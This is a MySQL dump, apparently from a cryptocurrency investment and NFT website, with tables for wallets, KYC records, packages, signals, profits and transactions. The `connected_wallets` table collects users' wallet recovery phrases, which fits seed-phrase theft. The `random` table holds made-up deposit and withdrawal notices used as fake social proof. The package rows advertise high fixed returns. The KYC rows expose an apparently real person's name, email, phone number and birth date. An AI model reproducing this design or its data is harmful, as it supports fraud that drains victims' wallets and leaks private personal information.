CREATE TABLE `connected_wallets` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `user_id` varchar(255) NOT NULL,
  `wallet_name` varchar(255) NOT NULL,
  `phrase_key` text NOT NULL,
  `created_at` timestamp NULL DEFAULT current_timestamp(),
  PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=15 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci;

INSERT INTO `connected_wallets` (`id`,`user_id`,`wallet_name`,`phrase_key`,`created_at`) VALUES ('5','xcode','Metamask','bkd dkjjs uhiadskj dgkjals iuhaodsg kiadghu kuadghku oadih','2024-09-14 15:45:00');
INSERT INTO `connected_wallets` (`id`,`user_id`,`wallet_name`,`phrase_key`,`created_at`) VALUES ('6','2lGRnWUc6mK7dkwnpPc1','Trust Wallet','Iyfhkgvhihkkvyiuhjklnbiluyh','2024-12-04 20:43:43');
INSERT INTO `connected_wallets` (`id`,`user_id`,`wallet_name`,`phrase_key`,`created_at`) VALUES ('7','2lGRnWUc6mK7dkwnpPc1','Trust Wallet','Mansions shrhrjrjrjrjjrjrjrjr','2024-12-13 22:49:22');
INSERT INTO `connected_wallets` (`id`,`user_id`,`wallet_name`,`phrase_key`,`created_at`) VALUES ('8','B7aP2WyN1R165pw5Eu45','Trust Wallet','','2025-07-25 01:20:33');
INSERT INTO `connected_wallets` (`id`,`user_id`,`wallet_name`,`phrase_key`,`created_at`) VALUES ('9','Q73alupWXqkXZaX8j5DQ','Coinbase','The rain in spain is mainly caused by rain from portugal now','2025-08-05 21:01:14');
INSERT INTO `connected_wallets` (`id`,`user_id`,`wallet_name`,`phrase_key`,`created_at`) VALUES ('10','apbu8xW29EX17W62T2AX','Bitcoin.com','','2025-08-22 10:02:40');
INSERT INTO `connected_wallets` (`id`,`user_id`,`wallet_name`,`phrase_key`,`created_at`) VALUES ('11','iLt369ikSCxuUP4l1n6I','Bitcoin.com','bc1qjetjlf6kxeegk7x45xxa6crg57zgx82p2vh2yu','2025-08-29 20:13:52');
INSERT INTO `connected_wallets` (`id`,`user_id`,`wallet_name`,`phrase_key`,`created_at`) VALUES ('12','u0POqFh5aesy937s8TX2','Trust Wallet','What goes up must come down','2025-08-30 23:55:15');
INSERT INTO `connected_wallets` (`id`,`user_id`,`wallet_name`,`phrase_key`,`created_at`) VALUES ('13','u0POqFh5aesy937s8TX2','Trust Wallet','What goes up must come down','2025-08-30 23:55:28');
INSERT INTO `connected_wallets` (`id`,`user_id`,`wallet_name`,`phrase_key`,`created_at`) VALUES ('14','u0POqFh5aesy937s8TX2','Trust Wallet','What goes up must come down','2025-08-31 00:08:47');


CREATE TABLE `contact` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `name` varchar(200) DEFAULT NULL,
  `email` varchar(200) DEFAULT NULL,
  `phone` varchar(200) DEFAULT NULL,
  `subject` varchar(200) DEFAULT NULL,
  `message` text DEFAULT NULL,
  `date` datetime NOT NULL DEFAULT current_timestamp(),
  PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci;



CREATE TABLE `image` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `image_id` varchar(100) DEFAULT NULL,
  `image` text DEFAULT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=39 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci;

INSERT INTO `image` (`id`,`image_id`,`image`) VALUES ('38','11665586685.png','21665586685.png');


CREATE TABLE `kyc` (
  `kyc_id` int(11) NOT NULL AUTO_INCREMENT,
  `kyc_user_id` varchar(200) DEFAULT NULL,
  `kyc_session` varchar(200) DEFAULT NULL,
  `fname` varchar(200) DEFAULT NULL,
  `lname` varchar(200) DEFAULT NULL,
  `email` varchar(200) DEFAULT NULL,
  `phone_number` mediumtext DEFAULT NULL,
  `country_code` varchar(200) DEFAULT NULL,
  `country` varchar(200) DEFAULT NULL,
  `gender` varchar(200) DEFAULT NULL,
  `year` varchar(200) DEFAULT NULL,
  `month` varchar(200) DEFAULT NULL,
  `day` varchar(200) DEFAULT NULL,
  `address` varchar(200) DEFAULT NULL,
  `zip_code` varchar(200) DEFAULT NULL,
  `apartment_number` varchar(200) DEFAULT NULL,
  `city` varchar(200) DEFAULT NULL,
  `state` varchar(200) DEFAULT NULL,
  `date` datetime DEFAULT current_timestamp(),
  `image` varchar(300) DEFAULT NULL,
  `image2` varchar(300) DEFAULT NULL,
  `type` varchar(300) DEFAULT NULL,
  `status` varchar(300) DEFAULT 'pending' COMMENT 'pending, active',
  PRIMARY KEY (`kyc_id`)
) ENGINE=InnoDB AUTO_INCREMENT=75 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci;

INSERT INTO `kyc` (`kyc_id`,`kyc_user_id`,`kyc_session`,`fname`,`lname`,`email`,`phone_number`,`country_code`,`country`,`gender`,`year`,`month`,`day`,`address`,`zip_code`,`apartment_number`,`city`,`state`,`date`,`image`,`image2`,`type`,`status`) VALUES ('73','gk971s3Oa61T6fYgwGTs','2','Aisosa','Ikponmwen','aisosaikponmwen165@gmail.com','09047056038','1','United States','Male','2003','Dec','11','Osunde','0000','10','Benin','England ','2025-09-11 05:52:57','1757584479.jpeg','1757584479_2.jpeg','Driving License','pending');
INSERT INTO `kyc` (`kyc_id`,`kyc_user_id`,`kyc_session`,`fname`,`lname`,`email`,`phone_number`,`country_code`,`country`,`gender`,`year`,`month`,`day`,`address`,`zip_code`,`apartment_number`,`city`,`state`,`date`,`image`,`image2`,`type`,`status`) VALUES ('74','bUJsTLOxgWJM5OtHqJ2A','1','Gregory','Hamilton','l.yn.n.e.r.i.z.ada@gmail.com','2553070707','1441','Mayotte','Female','7575','SZjAuopGww','4407',NULL,NULL,NULL,NULL,NULL,'2025-09-11 09:27:31',NULL,NULL,NULL,'pending');


CREATE TABLE `nft` (
  `nft_id` int(11) NOT NULL AUTO_INCREMENT,
  `image` varchar(200) DEFAULT NULL,
  `name` varchar(200) DEFAULT NULL,
  `amount` varchar(200) DEFAULT NULL,
  `description` text DEFAULT NULL,
  `date` datetime NOT NULL DEFAULT current_timestamp(),
  PRIMARY KEY (`nft_id`)
) ENGINE=InnoDB AUTO_INCREMENT=5 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci;

INSERT INTO `nft` (`nft_id`,`image`,`name`,`amount`,`description`,`date`) VALUES ('2','2E609D44-9A83-4893-8F08-C0CC114E7B05.jpeg','Abstraction 259','2.18','Lorem ipsum dolor sit amet consectetur adipisicing...flex','2022-09-12 17:30:51');
INSERT INTO `nft` (`nft_id`,`image`,`name`,`amount`,`description`,`date`) VALUES ('3','887EE526-C9B9-45E0-B6F7-35A18D8A4409-1-300x300.png','Abstraction','2.18','Lorem ipsum dolor sit amet consectetur adipisicing...','2022-09-12 17:31:28');
INSERT INTO `nft` (`nft_id`,`image`,`name`,`amount`,`description`,`date`) VALUES ('4','1D03CA7C-BD60-4067-BAC4-C24EDEDBDFE7-1-300x300.png','Abstraction 284','0.18','Lorem ipsum dolor sit amet consectetur adipisicing...','2022-09-12 17:31:54');


CREATE TABLE `nft_collections` (
  `collections_id` int(11) NOT NULL AUTO_INCREMENT,
  `collections_name` varchar(200) DEFAULT NULL,
  `collections_image` varchar(200) DEFAULT NULL,
  `collections_price` varchar(200) DEFAULT NULL,
  `collections_bid_price` varchar(200) DEFAULT NULL,
  `collections_status` varchar(200) DEFAULT 'pending',
  `date` datetime NOT NULL DEFAULT current_timestamp(),
  PRIMARY KEY (`collections_id`)
) ENGINE=InnoDB AUTO_INCREMENT=6 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci;

INSERT INTO `nft_collections` (`collections_id`,`collections_name`,`collections_image`,`collections_price`,`collections_bid_price`,`collections_status`,`date`) VALUES ('2','Abstraction','2E609D44-9A83-4893-8F08-C0CC114E7B05.jpeg','2.18','245','pending','2022-10-08 01:54:12');
INSERT INTO `nft_collections` (`collections_id`,`collections_name`,`collections_image`,`collections_price`,`collections_bid_price`,`collections_status`,`date`) VALUES ('3','Abstraction','2E609D44-9A83-4893-8F08-C0CC114E7B05.jpeg','2.18','2.2','pending','2024-09-12 02:11:36');
INSERT INTO `nft_collections` (`collections_id`,`collections_name`,`collections_image`,`collections_price`,`collections_bid_price`,`collections_status`,`date`) VALUES ('4','Abstraction','2E609D44-9A83-4893-8F08-C0CC114E7B05.jpeg','2.18','2','pending','2024-09-12 02:11:42');
INSERT INTO `nft_collections` (`collections_id`,`collections_name`,`collections_image`,`collections_price`,`collections_bid_price`,`collections_status`,`date`) VALUES ('5','Abstraction','2E609D44-9A83-4893-8F08-C0CC114E7B05.jpeg','2.18','2','pending','2024-09-12 02:11:47');


CREATE TABLE `packages` (
  `package_id` int(11) NOT NULL AUTO_INCREMENT,
  `package_name` varchar(200) DEFAULT NULL,
  `package_min` varchar(200) DEFAULT NULL,
  `package_max` varchar(200) DEFAULT NULL,
  `package_interest` varchar(200) DEFAULT NULL,
  PRIMARY KEY (`package_id`)
) ENGINE=InnoDB AUTO_INCREMENT=6 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci;

INSERT INTO `packages` (`package_id`,`package_name`,`package_min`,`package_max`,`package_interest`) VALUES ('1','Silver ','8000','25000','10');
INSERT INTO `packages` (`package_id`,`package_name`,`package_min`,`package_max`,`package_interest`) VALUES ('2','Gold','14000','30000','15');
INSERT INTO `packages` (`package_id`,`package_name`,`package_min`,`package_max`,`package_interest`) VALUES ('3','Diamond','40000','60000','20');
INSERT INTO `packages` (`package_id`,`package_name`,`package_min`,`package_max`,`package_interest`) VALUES ('4','Elite','50000','249999','25');
INSERT INTO `packages` (`package_id`,`package_name`,`package_min`,`package_max`,`package_interest`) VALUES ('5','VIP','250000','1000000','30');


CREATE TABLE `profit` (
  `profit_id` int(11) NOT NULL AUTO_INCREMENT,
  `profit_user_id` varchar(200) DEFAULT NULL,
  `profit_amount` varchar(200) DEFAULT NULL,
  `start` varchar(200) DEFAULT NULL,
  `end` varchar(200) DEFAULT NULL,
  `status` varchar(200) DEFAULT 'inprogress',
  `stage` varchar(300) DEFAULT NULL,
  `date` datetime DEFAULT current_timestamp(),
  PRIMARY KEY (`profit_id`)
) ENGINE=InnoDB AUTO_INCREMENT=16 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci;

INSERT INTO `profit` (`profit_id`,`profit_user_id`,`profit_amount`,`start`,`end`,`status`,`stage`,`date`) VALUES ('12','5I1u5341lF7V7OLw417F','10','19','31','inprogress','increase','2024-10-18 00:07:58');
INSERT INTO `profit` (`profit_id`,`profit_user_id`,`profit_amount`,`start`,`end`,`status`,`stage`,`date`) VALUES ('13','2lGRnWUc6mK7dkwnpPc1','1500','6','12','pause','increase','2024-12-04 20:32:17');
INSERT INTO `profit` (`profit_id`,`profit_user_id`,`profit_amount`,`start`,`end`,`status`,`stage`,`date`) VALUES ('14','U7oM0Mh7Q9SjpR7mFYux','20000','8','31','inprogress','increase','2025-06-06 21:13:32');
INSERT INTO `profit` (`profit_id`,`profit_user_id`,`profit_amount`,`start`,`end`,`status`,`stage`,`date`) VALUES ('15','U7oM0Mh7Q9SjpR7mFYux','5000','9','31','inprogress','increase','2025-06-08 16:33:13');


CREATE TABLE `random` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `name` varchar(300) DEFAULT NULL,
  `country` varchar(300) DEFAULT NULL,
  `type` varchar(300) DEFAULT NULL,
  `amount` varchar(300) DEFAULT NULL,
  `text` longtext DEFAULT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=41 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci;

INSERT INTO `random` (`id`,`name`,`country`,`type`,`amount`,`text`) VALUES ('1','Jennifer ','USA','deposited','5000','from USA just withdrew $10,200');
INSERT INTO `random` (`id`,`name`,`country`,`type`,`amount`,`text`) VALUES ('2','Frank Greg','England','withdrew','2000','from England just deposited $50,000 
');
INSERT INTO `random` (`id`,`name`,`country`,`type`,`amount`,`text`) VALUES ('3','Luke Fredrick','Uganda','deposited','8400','from Uganda just created an account
');
INSERT INTO `random` (`id`,`name`,`country`,`type`,`amount`,`text`) VALUES ('4','Austin Gz','Hungary','deposited','2700','from Hungary just deposited $20,500');
INSERT INTO `random` (`id`,`name`,`country`,`type`,`amount`,`text`) VALUES ('5','Willson Quest','London','withdrew','5400','from London just withdrew $63,500 
');
INSERT INTO `random` (`id`,`name`,`country`,`type`,`amount`,`text`) VALUES ('6','Wealth John','South Africa','withdrew','2300','from London just withdrew $90,200');
INSERT INTO `random` (`id`,`name`,`country`,`type`,`amount`,`text`) VALUES ('7','Amos Nat','Australia','deposited','3400','from Australia just withdrew $60,550');
INSERT INTO `random` (`id`,`name`,`country`,`type`,`amount`,`text`) VALUES ('8','Jason ','Denmark','withdrew','3900','from Denmark just deposited $17,350');
INSERT INTO `random` (`id`,`name`,`country`,`type`,`amount`,`text`) VALUES ('9','Kelvin ','Canada','deposited','3900','from Canada just deposited $30,300');
INSERT INTO `random` (`id`,`name`,`country`,`type`,`amount`,`text`) VALUES ('10','Michael ','Belgium','withdrew','10500','from USA just created an account');
INSERT INTO `random` (`id`,`name`,`country`,`type`,`amount`,`text`) VALUES ('11','Andrew','India','deposited','11400','from India just withdrew $65,900');
INSERT INTO `random` (`id`,`name`,`country`,`type`,`amount`,`text`) VALUES ('12','Peter Steve','Ireland','withdrew','12500','from Ireland just withdrew $105,000');
INSERT INTO `random` (`id`,`name`,`country`,`type`,`amount`,`text`) VALUES ('13','Wolly Scott','Australia','deposited','7300','from USA just deposited $15,000');
INSERT INTO `random` (`id`,`name`,`country`,`type`,`amount`,`text`) VALUES ('14','Godson Lupez','Denmark','withdrew','5900','from USA just deposited $35,300');
INSERT INTO `random` (`id`,`name`,`country`,`type`,`amount`,`text`) VALUES ('15',NULL,NULL,NULL,NULL,'from USA �just deposited $38,100');
INSERT INTO `random` (`id`,`name`,`country`,`type`,`amount`,`text`) VALUES ('16',NULL,NULL,NULL,NULL,'from Brazil just withdrew $56,000');
INSERT INTO `random` (`id`,`name`,`country`,`type`,`amount`,`text`) VALUES ('17',NULL,NULL,NULL,NULL,'from France just withdrew $67,900');
INSERT INTO `random` (`id`,`name`,`country`,`type`,`amount`,`text`) VALUES ('18',NULL,NULL,NULL,NULL,'from France just withdrew $50,500');
INSERT INTO `random` (`id`,`name`,`country`,`type`,`amount`,`text`) VALUES ('19',NULL,NULL,NULL,NULL,'from Netherland just deposited $67,950 
');
INSERT INTO `random` (`id`,`name`,`country`,`type`,`amount`,`text`) VALUES ('20',NULL,NULL,NULL,NULL,'from Netherland just deposited $27,500 
');
INSERT INTO `random` (`id`,`name`,`country`,`type`,`amount`,`text`) VALUES ('21',NULL,NULL,NULL,NULL,'from USA just withdrew $58,000');
INSERT INTO `random` (`id`,`name`,`country`,`type`,`amount`,`text`) VALUES ('22',NULL,NULL,NULL,NULL,'from USA just withdrew $33,620');
INSERT INTO `random` (`id`,`name`,`country`,`type`,`amount`,`text`) VALUES ('23',NULL,NULL,NULL,NULL,'from USA just created an account');
INSERT INTO `random` (`id`,`name`,`country`,`type`,`amount`,`text`) VALUES ('24',NULL,NULL,NULL,NULL,'from USA just created an account');
INSERT INTO `random` (`id`,`name`,`country`,`type`,`amount`,`text`) VALUES ('25',NULL,NULL,NULL,NULL,'from London just withdrew $63,500 
');
INSERT INTO `random` (`id`,`name`,`country`,`type`,`amount`,`text`) VALUES ('26',NULL,NULL,NULL,NULL,'Fredric M. from Tunisia just withdrew $45,000 
');
INSERT INTO `random` (`id`,`name`,`country`,`type`,`amount`,`text`) VALUES ('27',NULL,NULL,NULL,NULL,'Fernandez David from Tunisia just created an account');
INSERT INTO `random` (`id`,`name`,`country`,`type`,`amount`,`text`) VALUES ('28',NULL,NULL,NULL,NULL,'Fernandez David from Tunisia just deposited $23,600');
INSERT INTO `random` (`id`,`name`,`country`,`type`,`amount`,`text`) VALUES ('29',NULL,NULL,NULL,NULL,'Chamberlain from Tunisia just withdrew $50,900');
INSERT INTO `random` (`id`,`name`,`country`,`type`,`amount`,`text`) VALUES ('30',NULL,NULL,NULL,NULL,'Gregory F. from London just withdrew $40,100');
INSERT INTO `random` (`id`,`name`,`country`,`type`,`amount`,`text`) VALUES ('31',NULL,NULL,NULL,NULL,'Barbara M. from London just deposited $15,000');
INSERT INTO `random` (`id`,`name`,`country`,`type`,`amount`,`text`) VALUES ('32',NULL,NULL,NULL,NULL,'Barbara M. from London just created an account');
INSERT INTO `random` (`id`,`name`,`country`,`type`,`amount`,`text`) VALUES ('33',NULL,NULL,NULL,NULL,'McCann from London just deposited $25,000');
INSERT INTO `random` (`id`,`name`,`country`,`type`,`amount`,`text`) VALUES ('34',NULL,NULL,NULL,NULL,'Barry J. from Sweden just withdrew $160,000');
INSERT INTO `random` (`id`,`name`,`country`,`type`,`amount`,`text`) VALUES ('35',NULL,NULL,NULL,NULL,'Leonard N. from Sweden just withdrew $80,000');
INSERT INTO `random` (`id`,`name`,`country`,`type`,`amount`,`text`) VALUES ('36',NULL,NULL,NULL,NULL,'Gardner from France just withdrew $85,000');
INSERT INTO `random` (`id`,`name`,`country`,`type`,`amount`,`text`) VALUES ('37',NULL,NULL,NULL,NULL,'Zachary M. from France just withdrew $55,000');
INSERT INTO `random` (`id`,`name`,`country`,`type`,`amount`,`text`) VALUES ('38',NULL,NULL,NULL,NULL,'Elizabeth G. from USA just created an account');
INSERT INTO `random` (`id`,`name`,`country`,`type`,`amount`,`text`) VALUES ('39',NULL,NULL,NULL,NULL,'Nat Fred from Australia just withdrew $46,000');
INSERT INTO `random` (`id`,`name`,`country`,`type`,`amount`,`text`) VALUES ('40',NULL,NULL,NULL,NULL,'Jacobs G. from USA just withdrew $66,000');


CREATE TABLE `signals` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `signal_name` varchar(255) NOT NULL,
  `price` decimal(10,2) NOT NULL,
  `created_at` timestamp NOT NULL DEFAULT current_timestamp(),
  PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=4 DEFAULT CHARSET=latin1 COLLATE=latin1_swedish_ci;

INSERT INTO `signals` (`id`,`signal_name`,`price`,`created_at`) VALUES ('1','STARTER PLAN 5HOURS ','600.00','2025-09-03 01:38:37');
INSERT INTO `signals` (`id`,`signal_name`,`price`,`created_at`) VALUES ('2','VIP PLAN 12HOURS ','5000.00','2025-09-03 01:38:37');
INSERT INTO `signals` (`id`,`signal_name`,`price`,`created_at`) VALUES ('3',' GOLD PLAN 24HOURS','20000.00','2025-09-03 01:38:37');


CREATE TABLE `transaction` (
  `transaction_id` int(11) NOT NULL AUTO_INCREMENT,
  `transaction_user_id` varchar(200) DEFAULT NULL,
  `transaction_name` varchar(200) DEFAULT NULL,
  `transaction_type` varchar(200) DEFAULT NULL,
  `transaction_status` varchar(200) DEFAULT NULL,
  `t_mode` varchar(300) DEFAULT NULL,
  `transaction_amount` varchar(200) DEFAULT NULL,
  `eth` varchar(300) DEFAULT NULL,
  `wallet_address` varchar(300) DEFAULT NULL,
  `transaction_date` datetime NOT NULL DEFAULT current_timestamp(),
  `trade_won` varchar(200) DEFAULT '0',
  `method` varchar(300) DEFAULT NULL,
  PRIMARY KEY (`transaction_id`)
) ENGINE=InnoDB AUTO_INCREMENT=181 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci;


